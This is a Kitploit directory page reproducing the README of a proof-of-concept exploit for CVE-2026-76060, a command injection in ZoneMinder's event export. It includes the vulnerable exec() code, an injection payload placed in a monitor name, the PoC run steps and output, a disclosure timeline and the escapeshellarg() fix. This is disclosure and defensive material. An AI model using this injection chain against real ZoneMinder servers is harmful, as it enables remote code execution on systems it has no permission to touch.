Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Tools/GitHubGitHub/investigato/cve-2026-76060_zoneminder_commandinjection-poc
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingCommand and ControlRed Teaming
GitHubinvestigato/cve-2026-76060_zoneminder_commandinjection-poc

CVE-2026-76060_ZoneMinder_CommandInjection-PoC

Proof-of-concept exploit for CVE-2026-76060, an OS command injection in ZoneMinder's event export, demonstrating RCE via crafted monitor names.

View Repository
1442 months agoNot yet reviewed
Share

just wait and see

Proof of concept for an OS command injection vulnerability in ZoneMinder's event export functionality (web/includes/download_functions.php).

Monitor names are interpolated directly into shell commands using manual single-quote wrapping instead of escapeshellarg(). An attacker who can create a monitor can inject arbitrary shell commands that execute as www-data/whoever the process runs as when any user triggers an event export.

Underlying causes

  • Commit 44c5c3c from Oct 4, 2023 this is where the download_functions.php file was introduced. The commit message is "Introduce new download mode that concats event videos into 1 file per monitor." The vulnerable code is present here, but required an administrator to create the monitor first.
  • Commit 2d49e93 from Jan 2, 2024 "Introduce a Create permission for Monitors, so that a given user may Edit existing monitors, but not create new ones." This is where things change a little. Now a user with just Monitors=Create can set up the monitor name for the attack, and any user with export permissions can trigger it.

Impacted versions: >= 1.37.48 (this has the SQL migration changes) and <= 1.38.1 The 1.36.x branch is unaffected.

How it works

Two users. Two privilege levels. One shell.

  • medpriv has Monitors=Create or Monitors=Edit if there is already a monitor there.
  • lowpriv has just enough access to trigger an event export. Pulls the trigger without knowing it.

The event record doesn't need to be created manually. ZoneMinder is a camera system...it creates event records automatically as cameras run. In a live deployment the setup step is: create the monitor, walk away.

Two sinks, one source

The unsanitized monitor name reaches two separate exec() calls:

Line 126 | ffmpeg:

$cmd = ZM_PATH_FFMPEG.' -f concat -safe 0 -i event_files.txt -c copy \''.$export_dir.'/'.$mergedFileName. '\' 2>&1';
exec($cmd, $output, $return);

Line 150 | tar/zip:

$command .= ' \''.$mergedFileName.'\'';
if (executeShelCommand($command, $deleteFile = $mergedFileName) === false) return false;

Both reachable from the same carefully crafted monitor name regardless of export format.

Requirements

  • Docker
  • Docker Compose

Usage

git clone https://github.com/investigato/zoneminder-rce-poc.git
cd zoneminder-rce-poc
docker compose up -d
# wait for ZoneMinder to finish initializing (~30 seconds)
uv run poc.py

init.sql bootstraps the database with authentication enabled and two users:

  • medpriv with monitor creation rights (and for time purposes, event creation rights as well, but that’s not necessary in production)
  • lowpriv with event export access only

uv run poc.py runs the full chain:

  1. medpriv authenticates via API and creates a monitor named poc'; touch /tmp/pwned; echo '
  2. medpriv creates an event record to speed up the demo (in production, ZoneMinder does this automatically)
  3. lowpriv authenticates and triggers an event export
  4. Script checks /tmp/pwned inside the container and prints the result

Expected output:

Login: 200
Token: ok
Create monitor: 200 — {"message":"Saved"}
Created monitor ID=1 name="poc'; touch /tmp/pwned; echo '"
Create event: 200
Event ID=1
Login: 200
Token: ok
Export: 200 = {"result":"Ok","exportFile":"?view=download&type=zip&file=Export.zip","exportFormat":"zip","connkey":""}
Deleted event 1
Deleted monitor 1

Did it work?
running docker exec ... ls -la /tmp/pwned inside the container to check if the file was created
Success! Command injection worked, /tmp/pwned was created inside the container.
-rw-r--r-- 1 www-data www-data 0 Jun  6 18:32 /tmp/pwned

CVSS

  • 3.1: 8.8 (High):AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
  • 4.0: 8.7 (High):AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Either way, at a minimum escapeshellarg() costs nothing.

Disclosure

  • 03/08/2026: Reported via ZoneMinder’s security contact email
  • 03/09/2026: Patched in commit b3a7c05
  • 06/08/2026: Public disclosure

[!NOTE] Fixed within 12 hours of report. No acknowledgment from the maintainer that this is a security issue. I disagree Updated 8/27/26 - Maintainer has acknowledged report and CVE has been issued.

Fix

Apply escapeshellarg() at both injection points at a minimum:

// Line 126
$cmd = ZM_PATH_FFMPEG.' -f concat -safe 0 -i event_files.txt -c copy '.escapeshellarg($export_dir.'/'.$mergedFileName).' 2>&1';

// Line 150
$command .= ' '.escapeshellarg($mergedFileName);

Lines 116 and 211 in generateFileList() have the same pattern.


Discovered by (@investigato)
Full writeup: scriptkittens.com

Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    916
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    558
  • 3

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    370
  • 4

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    360
  • 5

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    317
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    289

Explore all tools

Browse our collection of tools

View all tools →